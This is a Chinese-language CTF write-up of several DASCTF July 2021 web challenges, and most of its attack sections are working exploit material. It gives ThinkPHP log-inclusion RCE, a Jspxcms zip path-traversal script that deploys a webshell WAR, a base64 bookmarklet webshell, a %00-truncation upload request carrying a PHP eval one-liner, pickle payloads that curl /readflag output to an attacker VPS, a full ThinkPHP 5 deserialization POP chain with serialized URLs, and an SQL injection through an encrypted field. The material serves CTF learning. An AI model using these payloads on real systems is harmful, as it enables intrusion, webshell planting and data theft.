<http://xxxxxxxxxxx/?cmd=/proc/self/environ>
PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgiUSER=www-dataHOSTNAME=bd65ff0cb21ePHP_INI_DIR=/usr/local/etc/phpSHLVL=2HOME=/home/www-dataPHP_LDFLAGS=-Wl,-O1 -piePHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64PHP_VERSION=7.3.26GPG_KEYS=CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5DPHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64PHP_ASC_URL=https://www.php.net/distributions/php-7.3.26.tar.xz.ascPHP_URL=https://www.php.net/distributions/php-7.3.26.tar.xzPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2cPWD=/var/www/htmlPHP_SHA256=d93052f4cb2882090b6a37fd1e0c764be1605a2461152b7f6b8f04fa48875208FLAG=not_flag
`FLAG=not_flag`，草！
根据提示，寻思着读 nginx log
<http://xxxxx/?cmd=/var/log/nginx/access.log>
127.0.0.1 - - [11/Jul/2020:00:00:00 +0000] "GET /this_is_final_flag_e2a457126032b42d.php HTTP/1.1" 200 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"
192.168.122.180 - - [31/Jul/2021:20:16:06 +0000] "GET / HTTP/1.1" 200 1855 "-" "python-requests/2.25.1"
192.168.122.180 - - [31/Jul/2021:20:16:09 +0000] "GET / HTTP/1.1" 200 1855 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0"
192.168.122.180 - - [31/Jul/2021:20:16:26 +0000] "GET /favicon.ico HTTP/1.1" 200 1855 "http://9f6ec27d-77be-4de4-9373-f93a8bd50480.node4.buuoj.cn/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0"
...
所以文件是 `this_is_final_flag_e2a457126032b42d.php`，不过包含了 `flag`。
参考 <https://www.php.net/manual/zh/function.escapeshellarg.php>
可以加个非 ASCII 码字符绕过 `escapeshellarg`，测试发现 `%80` 及以上都行。
### easythinkphp
ThinkPHP V3.2.3
直接现成工具一把梭
http://xxxxxxxxxx/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_01.log
原理可参考 [炒冷饭之ThinkPHP3.2.X
RCE漏洞分析](https://www.cnblogs.com/sevck/p/15012267.html)
大概就是先写个带有一句话木马的报错语句到日志里，然后文件包含来执行命令。
另外还有其他师傅说其实可以直接文件包含来读 `/flag`.
m=Home&c=Index&a=index&value[_filename]=/flag
### jspxcms
后台
<http://sdejkwdfnewi3f2jr32d3edfewd.dasctf.node4.buuoj.cn:82/cmscp/index.do>
默认登录信息 admin / 空
Jspxcms v9.5.1
参考
[复现jspxcms解压getshell漏洞](https://lockcy.github.io/2019/10/18/%E5%A4%8D%E7%8E%B0jspxcms%E8%A7%A3%E5%8E%8Bgetshell%E6%BC%8F%E6%B4%9E/)
[记一次由追踪溯源发现的“不安全解压getshell”](https://www.anquanke.com/post/id/188788)
unzip 方法未对 ZIP 压缩包里的文件名进行参数校验，就进行文件的写入，构造带有 `../` 的文件名就能构成目录穿越漏洞。
首先基于冰蝎马生成 war 包。
jar cvf shell.war shell.jsp
然后用脚本把 war 包压缩一下。
import zipfile
z = zipfile.ZipFile('miao.zip', 'w', zipfile.ZIP_DEFLATED)
with open('shell.war','rb') as f:
temp=f.read()
z.writestr('../../../shell.war',temp) #shell.war为上一步生产的后门war包
z.close()
通过 上传文件 上传压缩包，然后 zip解压 部署上去。
<http://xxxxxxxxxxxx/shell/shell.jsp>
冰蝎成功连上
可以看到本来上传的目录是 `uploads/1/`，通过目录穿越解压到了上级的 `tomcat/webapps` 目录下了。
当然这里也可以参考 [雪姐姐的办法](http://www.snowywar.top/?p=2424#wznav_1)，直接新建个页面，通过
JavaScript 写入个简单的调试页面，直接在浏览器里执行命令、上传文件。
新建个书签，然后直接在 shell 的页面加载书签。
javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);
不过这个 shell 估计是个简单的小马，不带加密的，文件名是 `cmd.jsp`，执行命令的密码 `c`。需要的话可以自己改一下。
### jj’s camera
> jj在某次网络安全活动中发现了个黑客做的网站，请使用https访问站点
>
> Hint: 网上能搜到源码，仅修改了前端ui，注意服务器的响应
是个会自动抓拍然后上传后端并 302 跳转到任意 url 的网站。
根据 /sc.php?id=miao&url=<http://baidu.com> 以及页面上的代码
_（可能是由于安全客平台的 WAF，这里怎么都保存提交不来，排查了老半天最后才发现问题出在这里。_
_最后么得办法只有把 html 里所有的 script 标签改成了 stcript，大家看看就好（
_
（安全客注：WAF已经做出调整，力求不对文章正文造成干扰，正在持续优化中~）
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>等待跳转...</title>
<meta name="author" content="DeathGhost"/>
<link rel="stylesheet" type="text/css" href="style/css/style.css"/>
<style>
body {
height: 100%;
background: #16a085;
overflow: hidden;
}
canvas {
z-index: -1;
position: absolute;
}
</style>
<stcript src="style/js/jquery.js"></stcript>
<!-- <stcript src="style/js/verificationNumbers.js"></stcript> -->
<stcript src="style/js/Particleground.js" ></stcript>
<stcript>
$(document).ready(function () {
//粒子背景特效
$('body').particleground({
dotColor: '#5cbdaa',
lineColor: '#5cbdaa'
});
});
</stcript>
</head>
<body>
<video id="video" width="0" height="0" autoplay></video>
<canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas>
<stcript type="text/javascript">
window.addEventListener("DOMContentLoaded", function () {
var canvas = document.getElementById('canvas');
var context = canvas.getContext('2d');
var video = document.getElementById('video');
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({video: true}).then(function (stream) {
video.srcObject = stream;
video.play();
setTimeout(function () {
context.drawImage(video, 0, 0, 480, 640);
}, 1000);
setTimeout(function () {
var img = canvas.toDataURL('image/png');
document.getElementById('result').value = img;
document.getElementById('gopo').submit();
}, 1300);
}, function () {
alert("hacked by jj");
});
}
}, false);
</stcript>
<form action="qbl.php?id=miao&url=http://baidu.com" id="gopo" method="post">
<input type="hidden" name="img" id="result" value=""/>
</form>
</body>
</html>
直接上 GitHub 上一搜 `qbl.php`
<https://github.com/FlyRenxing/php-utility-api-collection/tree/master/H5Snap>
<https://github.com/xiaoma55/hexo_blog/tree/master/source/customerPage/youqu/zhaoYaoJing>
<https://github.com/SStarbuckS/autopohot>
<https://github.com/shiguangrenranrs/Photo> （有点区别这个）
应该都差不多。
关键代码在 `qbl.php`
<?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下
if(empty($id) || empty($url) || empty($base64_img)){
exit;
}
if(!file_exists($up_dir)){
mkdir($up_dir,0777);
}
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
$type = $result[2];
if(in_array($type,array('bmp','png'))){
$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
header("Location: ".$url);
}
}
?>
这里的 `$type` 是从 post 参数里的 `image/(\w+)` 来的，但是限制了只能是 `bmp` 或者 `png`，绕不过也不可控。
再看 `$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;` 这句，这个 `$id` 从 GET
参数来的，是可控的。
但是为了上传使得后缀名为 `.php`，那就需要 **搭配`%00` 截断**。
~~试了老半天发现还不行最后发现漏看了个`trim`（别骂了别骂了~~
由于这个 `trim` 函数会把字符串首尾的空字符给去除，于是就得加个其他的字符包裹一下 `%00`.
构造 id 为 `miao.php%00.`，上传的文件内容是 base64 encode + urlencode 后的一句话木马。
<?php @eval($_REQUEST['m']);?>
**payload:**
POST /qbl.php?id=miao.php%00.&url=http://baidu.com HTTP/1.1
Host: node4.buuoj.cn:28820
Content-Length: 72
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://node4.buuoj.cn:28820
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://node4.buuoj.cn:28820/sc.php?id=miao&url=http://baidu.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
img=data%3aimage/png%3bbase64,PD9waHAgQGV2YWwoJF9SRVFVRVNUWydtJ10pOz8%2b
> **Extensive reading:**
>
> [挖洞姿势 | 深度聊聊PHP下的“截断”问题](https://www.freebuf.com/articles/web/179401.html)
>
>
> [过气的00截断](https://skysec.top/2017/09/06/%E8%BF%87%E6%B0%94%E7%9A%8400%E6%88%AA%E6%96%AD/)
>
> `%00` 截断的利用条件：
>
> 1. php版本小于5.3.4
> 2. php的magic_quotes_gpc为OFF状态
>
### cybercms
> 赛博CMS，只为安全而生
>
> Hint: 信息搜集是一个web手必备的技能
**详见另一篇博客：**
[CTF | 2021 DASCTF July cybercms
一探再探](https://miaotony.xyz/2021/08/10/CTF_2021DASCTF_July_cybercms/) 或者
[这里](https://www.anquanke.com/post/id/250048)
### easyweb
题目给了 dockerfile 及后端源码。
`app.py`
from hypercorn.middleware import DispatcherMiddleware
from vuln_app import vuln_app
from simple_app import simple_app
dispatcher_app = DispatcherMiddleware({
"/vuln": vuln_app,
"/": simple_app,
})
if __name__ == '__main__':
a = 1
`simple_app.py`
from a2wsgi import WSGIMiddleware
def application(env, start_response):
start_response('200 OK', [('Content-Type','text/html')])
return [b"Hello World"]
simple_app = WSGIMiddleware(application)
`vuln_app.py`
from wsgiref.simple_server import make_server
from pyramid.config import Configurator
from pyramid.response import Response
from pyramid.renderers import render_to_response
from pyramid.session import SignedCookieSessionFactory, PickleSerializer
from webob.cookies import Base64Serializer
from a2wsgi import WSGIMiddleware
my_session_factory = SignedCookieSessionFactory("233333333333", serializer=Base64Serializer(PickleSerializer()))
def hello_world(request):
request.session["233"] = "2333"
return Response('Hello World!')
vuln_app = None
with Configurator() as config:
config.set_session_factory(my_session_factory)
config.add_route('hello', '/')
config.add_view(hello_world, route_name='hello')
vuln_app = WSGIMiddleware(config.make_wsgi_app())
if __name__ == '__main__':
with Configurator() as config:
config.set_session_factory(my_session_factory)
config.add_route('hello', '/')
config.add_view(hello_world, route_name='hello')
app = config.make_wsgi_app()
server = make_server('0.0.0.0', 6543, app)
server.serve_forever()
`dockerfile`
FROM ubuntu:18.04
ENV DEBIAN_FRONTEND=noninteractive
RUN sed -i "s/archive.ubuntu.com/mirrors.aliyun.com/g" /etc/apt/sources.list && apt update && apt dist-upgrade -y
RUN apt install -y software-properties-common && add-apt-repository ppa:deadsnakes/ppa && apt install python3.8 -y
RUN apt install nginx python3-pip curl -y
ADD nginx.conf /etc/nginx/sites-available/default
COPY conf/* /root/
WORKDIR /root
ADD flag /flag
RUN chmod 600 /flag
ADD readflag.c /readflag.c
RUN apt -y install gcc && \
gcc /readflag.c -o /readflag && \
chmod +s /readflag
COPY app /app
WORKDIR /app
RUN mv /usr/bin/python3.8 /usr/bin/python3 && python3 -m pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
# CMD python3 -m http.server
CMD nginx && useradd ctf && su ctf -c 'hypercorn --bind 0.0.0.0:4488 app:dispatcher_app' && tail -f /dev/null
flag 要通过执行 `/readflag` 来获得。
`app.py` 里注册了两个路由，根目录访问的是 `simple_app`，看上去没啥问题，主要还是 `/vuln` 下访问的
`vuln_app`，其中用到了 `PickleSerializer`，盲猜就有 pickle 序列化在里面了。
直接打上断点，跟一波 debug，成功发现了 `pickle.loads`。在设置 session 时先从请求获取 session，而后再设置新的
session。
从 cookie 里取出 session，进行 urlsafe_b64decode，再截取出 `cstruct` 和签名
`expected_sig`，进行校验后对 `cstruct` 再一次 urlsafe_b64decode，最后调用 `pickle.loads`。
设置 cookie 的操作在 `Response` 时进行，最终会调用上图的 `pickle.dumps`。
做题的话，可以直接改最后这个 `pickle.dumps` 结果为构造好的 pickle payload。
可以参考 [2021 巅峰极客网络安全技能挑战赛 opcode
一题](https://miaotony.xyz/2021/08/07/CTF_2021dianfengjike/#opcode)，比如
b"(cos\nsystem\nS\'curl http://VPS:PORT/?flag=`/readflag`\'\no."
# or
b'cposix\nsystem\nX3\x00\x00\x00curl http://VPS:PORT/`readflag | base64`\x85R.'
然后本地起服务，浏览器里请求一下，把 cookie 复制一下，把这个作为 payload 赋值给远程的 cookie 就完事了。
访问
[http://xxxxxxxxx/vuln，修改](http://xxxxxxxxx/vuln%EF%BC%8C%E4%BF%AE%E6%94%B9)
cookie，刷新页面，vps 上起个 web 服务监听，拿到 flag 完事。
* * *
或者参考大师傅更方便的方法，可以直接改后端代码，直接设置个新的 session 实例化一个 RCE 对象。
class Miao(object):
def __reduce__(self):
import os
return os.system, ("curl http://VPS/?flag=`/readflag`",)
def hello_world(request):
request.session["233"] = "2333"
request.session["miao"] = Miao()
print(request.session)
return Response('Hello World!')
本地调试可以发现第一次访问会设置上 session，第二次访问的时候就会反序列化 pickle 执行 payload 了。
本地起个原始的 app，改好 cookie，刷新页面就能打通了。
嗯很好，远程没打通！
重试了几次，还是没成功……
最后寻思着是不是那个 pickle 序列化时候和操作系统有关啊？
换到 kali 下起 web 服务，生成 payload 再扔到远程去，这回成功了……
### ez_website
> 简单的题目
>
> <https://dasctf-july-1251267611.file.myqcloud.com/ez_website.zip>
给了源码，齐博X1.0，基于ThinkPHP V5.0.18 二次开发的。
<http://xxxxxxxxx/admin.php/admin/index/index.html>
后台弱密码 admin/admin888
不过后台上传貌似不行，sql 执行开启了 `--secure-file-priv`，不能写入文件。
**打法1 前台反序列化 RCE**
这里复现，主要参考 [齐博建站系统x1.0代码审计](https://ma4ter.cn/2527.html)
有一处前台反序列化的地方 `application\index\controller\Labelmodels.php`
直接拿文章里面的现成 exp 来打了。
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类，并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值，作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo urlencode(serialize($window));
}
http://xxxxxxx/index.php/index/labelmodels/get_label?tag_array[cfg]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bi%3A0%3Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7Ds%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A122%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3DaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F..%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bs%3A3%3A%22xxx%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7Ds%3A6%3A%22parent%22%3Br%3A11%3B%7D%7D%7D
看起来已经走过反序列化这条语句了，执行成功了。
木马的文件名是 `a.php` 加上 `var_dump(md5('tag_'.md5('xxx')));` 的结果，也就是
`a.php12ac95f1498ce51d2d96a249c09c1998.php`
然而直接访问根目录下的这个文件 404 了……
后来发现是根目录下 www-data 用户没有写入权限，子目录下才有。
_（其实是在打法2才发现的 2333_
改一改 payload，写入到 runtime 目录下。记得改长度。
http://xxxxxxx/index.php/index/labelmodels/get_label?tag_array[cfg]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bi%3A0%3Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7Ds%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A130%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3DaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F..%2Fruntime%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bs%3A3%3A%22xxx%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7Ds%3A6%3A%22parent%22%3Br%3A11%3B%7D%7D%7D
生成的木马在 `/runtime/a.php12ac95f1498ce51d2d96a249c09c1998.php`，密码 `ccc`
* * *
**打法2 升级日志 RCE**
参考 Y4tacker 师傅的
[[代码审计]齐博建站系统x1.0企业版代码审计](https://blog.csdn.net/solitudi/article/details/119318403)
（Orz
`application/admin/controller/Upgrade.php`下的 `sysup` 函数在写入升级日志时直接拼接了 GET 参数中的
`upgrade_edition`，且写入的文件后缀为 `.php`
构造 payload
",""=>eval($_POST[%27miao%27])-"//
原文中的是
",""=>-eval($_POST[%27yyds%27])-",];?>//
http://xxxxx/admin.php/admin/upgrade/sysup.html?upgrade_edition=%22,%22%22=%3Eeval($_POST[%27miao%27])-%22//
在 <http://xxx/runtime/client_upgrade_edition.php> 生成了一句话木马。
拼接后的文件内容为
<?php return ["md5"=>"",""=>eval($_POST['miao'])-"//","time"=>"2021-08-03 17:31",];
其实寻思着 payload 改成下面这个更好，拼接字符串不会报 warning 23333.
",""=>eval($_POST[%27miao%27])."//
### 安全,安全,还是xxx的安全
> 某个特别安全的商店
>
> **Hint:**
>
>
> CREATE TABLE "users" (
> "id" INTEGER NOT NULL,
> "username" TEXT UNIQUE ,
> "login_password" text,
> "money" INTEGER,
> "pay_password" TEXT,
> "flag_num" INTEGER,
> PRIMARY KEY ("id")
> );
>
>
> CREATE TABLE "flaaaaaaaaag" (
> "flllllllag" TEXT
> );
>
**是个零解题。**
根据给的 hint 可以知道是要 **SQL 注入** 。
本来以为注入点在 购买 这里的 flag 数量上，然而并没有找到回显点，而且返回错误 Hacker 了。
参考 [erR0Ratao 师傅的
wp](https://www.cnblogs.com/erR0Ratao/p/15088223.html)，注入点在注册功能的
`pay_password` 处。
var app = new Vue({
el: '#app',
data() {
return {
users: {
username: '',
password: '',
pay_password: ''
},
rules: {
username: [
{required: true, message: '请输入用户名', trigger: 'blur'},
{min: 3, max: 32, message: '长度在 3 到 32 个字符', trigger: 'blur'}
],
password: [{required: true, message: '请输入登录密码', trigger: 'blur'}],
pay_password: [{required: true, message: '请输入支付密码', trigger: 'blur'}]
},
visibility: "visibility: hidden"
}
},
methods: {
onSubmit() {
axios
.post('register', {
username: app.users.username,
password: md5(app.users.password+"CBCTF"),
pay_password: encrsa(app.users.pay_password)
})
.then(response => {
if (response.data.error) {
if (response.data.msg === "hacker!") {
this.visibility = "visibility: visible";
} else {
this.visibility = "visibility: hidden";
}
app.$message({
showClose: true,
message: response.data.msg,
type: 'error'
});
} else {
window.location.href = 'login'
}
})
.catch(function (error) { // 请求失败处理
console.log(error);
});
},
}
});
function encrsa(input) {
const crypt = new JSEncrypt();
const pub_key = "-----BEGIN PUBLIC KEY-----\n" +
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDK9H5CoNfCA0TR5e5w20Q9qmTW\n" +
"3T1uWmLHmNu7id9VBsngYXbaNfcK01JK2NNLLQ74vbRTpnAFg05csCkUWnkloKKu\n" +
"AZZEDxKaiZ6M4Vmy1BYae7lutS5uECYouZt+TveABrdM4pjPxBwoKpp+IJFeYsVX\n" +
"UGzrDiFb40I47X6oRQIDAQAB\n" +
"-----END PUBLIC KEY-----"
crypt.setPublicKey(pub_key);
return crypt.encrypt(md5(input+"CBCTF2021"))
}
根据前端源码，对支付密码进行了 md5 => rsa => base64 的加密。
直接注入发现注不进去，考虑到有可能后端存的就是支付密码的 md5 结果，于是可以改一改这个 `encrsa` 函数，在 md5 之后、RSA 之前进行注入。
根据 hint，`pay_password` 后面还有一个 `flag_num` 字段，构造 payload 为
0a8b5a33639258fd9476bb66d3b7202d',233)--
登录之后可以发现改成功了。
于是再构造
0a8b5a33639258fd9476bb66d3b7202d',hex((select flllllllag from flaaaaaaaaag)))--
直接用浏览器在注册页面执行下面的 js 代码。
function encrsa(input) {
const crypt = new JSEncrypt();
const pub_key = "-----BEGIN PUBLIC KEY-----\n" +
"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDK9H5CoNfCA0TR5e5w20Q9qmTW\n" +
"3T1uWmLHmNu7id9VBsngYXbaNfcK01JK2NNLLQ74vbRTpnAFg05csCkUWnkloKKu\n" +
"AZZEDxKaiZ6M4Vmy1BYae7lutS5uECYouZt+TveABrdM4pjPxBwoKpp+IJFeYsVX\n" +
"UGzrDiFb40I47X6oRQIDAQAB\n" +
"-----END PUBLIC KEY-----"
crypt.setPublicKey(pub_key);
return crypt.encrypt("0a8b5a33639258fd9476bb66d3b7202d'," + input + ")--");
}
axios
.post('register', {
username: "miao",
password: md5("miao" + "CBCTF"),
// pay_password: encrsa("233") // 在这里注入
pay_password: encrsa("hex((select flllllllag from flaaaaaaaaag))") // 在这里注入
})
.then(response => {
if (response.data.error) {
if (response.data.msg === "hacker!") {
this.visibility = "visibility: visible";
} else {
this.visibility = "visibility: hidden";
}
app.$message({
showClose: true,
message: response.data.msg,
type: 'error'
});
} else {
window.location.href = 'login'
}
})
.catch(function (error) { // 请求失败处理
console.log(error);
});
